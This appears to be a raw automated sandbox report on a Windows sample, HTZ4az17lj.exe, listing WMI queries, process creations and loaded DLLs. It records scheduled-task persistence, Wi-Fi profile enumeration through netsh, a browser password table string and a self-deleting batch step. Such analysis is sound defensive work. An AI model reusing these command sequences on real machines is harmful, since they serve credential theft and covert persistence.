Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 6044)
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 6044)

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp59AE.tmp.dat.0.dr, tmp90FB.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: HTZ4az17lj.exe	ReversingLabs: Detection: 44%
Source: HTZ4az17lj.exe	Virustotal: Detection: 55%

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File read: C:\Users\user\Desktop\HTZ4az17lj.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\HTZ4az17lj.exe "C:\Users\user\Desktop\HTZ4az17lj.exe"
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1952,i,15724053339194688930,12067670684069383472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1980,i,12318035346667771544,14619284953737115548,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 6044
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe Timeout /T 2 /Nobreak
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1952,i,15724053339194688930,12067670684069383472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1980,i,12318035346667771544,14619284953737115548,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /F /IM 6044
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe Timeout /T 2 /Nobreak

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
